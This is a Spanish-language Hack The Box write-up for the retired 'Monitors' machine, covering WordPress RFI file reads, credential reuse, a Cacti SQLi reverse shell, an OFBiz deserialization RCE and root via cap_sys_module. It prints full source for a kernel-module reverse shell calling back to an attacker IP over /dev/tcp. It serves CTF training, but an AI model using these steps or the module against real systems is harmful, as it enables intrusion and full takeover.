Hoy vamos a realizar un writeup de maquina linux retirada
Monitors
alojada en la plataforma deHack The Box
, por aqui os dejo mi perfil por si quereis darme respect jejejej
User
Hacemos un escaneo inicial para ver los puertos abiertos
1
sudo nmap -sS --min-rate 5000 -p- -open -n -Pn 10.10.10.238
Acto seguido usamos los scripts que nos aporta la utilidad nmap para hacer un reconocimiendo de los mismos
1
sudo nmap -sCV -p22,80 -n -Pn 10.10.10.238 -oN targeted
Entramos a la web que se ejecuta en el puerto 80, vemos que nos dice lo siguiente aprovechandonos del correo vemos el dominio
"monitors.htb"
este mismo deberemos añadirlo al fichero/etc/hosts
para que al ponerlo nos resuelva hacia la maquina y ver si se aplica virtual hosting
1
10.10.10.238 monitors.htb
Entramos a la web y vemos que se aplica Virtual Hosting ya que cambia el contenido, leyendo el pie de pagina vemos que estamos frente a un wordpress por lo que podríamos enumerar usuarios validos en el login pero en este caso no ya que solo hay un post del usuario admin.
Por lo que se nos ocurririía enumerar plugins en busca de alguno vulnerable.
Para esto podríamos usar el repositorio de seclists en github que nos incluye diccionarios para probar fuzzeando o mejor aun construirnos un script que nos permita crear un diccionario con los nombres de los 52.700 plugins registrados.
Primeramente probaremos a ver si tenemos capacidad de directory listing en
/wp-content/plugins/
y efectivamente la tenemos lo cual es poco habitual
Con esto en mano buscamos el unico plugin en searchsploit por si hubiese alguna vulnerabilidad asociada y encontramos un
RFI -> Remote File Inclusion
Si lo examinamos podemos ver como funciona
Teniendo esto en cuenta listamos archivos de utilidad como pueden ser el /etc/passwd para ver los usuarios existentes
( Ya que se trata de un RFI si probamos a cargar un archivo php de nuesta maquina vemos que no nos lo interpreta asi que solo podremos listar contenido de la propia maquina)
Tambien podemos listar el archivo
/proc/net/tcp
para ver los puertos abiertos
En este caso lo hago con curl para guardar el resultado en un archivo
Y con la herramienta que creé y que está en mi github: https://github.com/whitexnd/OpenPorts podemos ver que puertos tiene abiertos internamente en este caso el 80 no sale representado lo cual es un poco raro y vemos tambien el puerto 8443 el cual tambien es un poco raro
Tambien listamos el archivo
/etc/apache2/sites-enabled/000-default.conf
el cual contiene información de la web y vemos que hay un subdomnio, lo añadimos de nuevo al fichero /etc/hosts
Y lo buscamos a ver si hubiese contenido, en este caso vemos Cacti que parece ser una utilidad de graficos según google
Tambien aprovechamos para ver el fichero
wp-config.php
el cual suele contener el usuario y contraseña empleados en la base de datos de wordpress
Probamos a logearnos con admin y la credencial que vimos por si se reutilizara
Y logramos acceso a cacti
Buscamos en searchsploit por si hubiera algun tipo de exploit para la versión de cacti que utiliza la maquina
Mediante una
inyección sql (SQLi)
busca entablar una reverse shell, por lo que lo usaremos para automatizar este proceso
Una vez dentro como el user
www-data
vemos que hay otro usuario marcus al cual nos interesa pivotar para poder ver su flag, listamos su home y vemos algo raro
Hay una carpeta oculta
.backup
a la cual no tenemos acceso
Por lo que en este punto probamos a grepear recursivamente la cadena marcus en algun fichero en
/etc
y encontramos que algo menciona a un script en shell dentro de la carpeta que vimos antes
Tratamos de hacerle un cat para ver si tuviesemos acceso a su contenido y vemos un usuario y contraseña
La probamos por si se reutilizase
Y ya unicamente listariamos la flag
user.txt
de su direcctorio
Root
Examinamos nuestra ip por si se estuviesemos en un contenedor y en este caso no
Viendo de nuevo el direcctorio personal vemos un archivo note.txt que habla de una imagen docker
Por lo que pensando en esto y sin la capacidad de ver las imagenes de docker activas buscamos algun puerto más abierto y volvemos a ver el 8443
Ahora mediante SSH realizamos un Local Port Forwarding para que nuestro puerto local sea el mismo que el de la victima y podamos verlo
1
ssh marcus@10.10.10.238 -L 8443:127.0.0.1:8443
Y navegando vemos que tenemos acceso
Hacemos uso de wfuzz para encontrar direcctorios
1
2
3
4
5
wfuuz
-c -> Formato colorizado
-t -> Cantidad de hilos
--hc=404 -> Para que nos oculte las peticiones que devuelvan el estado 404
-w -> Indicarle el diccionario
Vemos varios que nos dan un codigo 302 el cual es un redirect
Ponemos uno cualquiera y nos lleva a la siguiente web
Viendo el footer vemos que emplea Apache OFBiz
Y buscando exploit relacionados a esto encontramos un script en shell el cual nos permite
RCE -> Remote Command Execution
Según el script se trata de un ataque de
Insecure Deserialization
podríamos ejecutar el script pasandole los argumentos y obtendríamos acceso, en este caso lo he ido haciendo sentencia a sentencia
Primero cargando mi payload en un fichero que posteriormente la victima se descargará
Descargarnos el archivo indicado en el script para generar JAR pyaloads
Generamos uno con la siguiente sentencia que lo que hace es descargarse un recurso de nuestra maquina y guardarlo en la ruta
/tmp
, todo esto lo convertimos a base64 y le quitamos el salto de linea del final
Iniciamos el servidor web desde el que compartiremos nuestro shell.sh malicioso
Hacemos una petición curl como se especifica en el script junto al payload jar que hemos creado
Y vemos que efectivamente se ha ejecutado ya que hemos recibido una petición GET al archivo shell.sh
Creamos el ultimo payload para que interprete el archivo que guardó en
/tmp
Hacemos el curl
Y vemos que por el puerto en el que estabamos en escucha nos llega la reverse shell
Vemos nuestra ip para ver si estamos en un docker y efectivamente
Nos descargamos LinPeas, el cual es una utilidad de reconocimineto del sistema que podemos encontrar en github y nos la compartimos con un servidor web python como en el anterior ejemplo para descargarnoslo en la maquina victima, despues le damos permisos de ejecución y lo ejecutamos. Atendiendo al resultado vemos que está asignada la capabilitie
cap_sys_module
Con el siguiente comando podemos listar las capabilities
Buscando en google encontramos esta pagina la cual nos explica bastante bien como funciona y como abusar de la capabilitie
En este caso tenemos que crearnos el siguiente archivo con nuestra ip y puerto para intentar cargar un modulo kernel que nos entable una reverse shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.22/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Y tambien un makefile con las siguientes instrucciones:
1
2
3
4
5
6
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Una vez con estos dos
Ejecutamos el comando make
Nos ponemos en escucha
Y cargamos en el kernel el fichero reverse-shell.ko que nos generó
Y vualá obtenemos una sesión como root en la maquina victima
Y ya podemos listar la flag
fc516fd7b8d8b3ccdeedc9ad2860e821192a35c9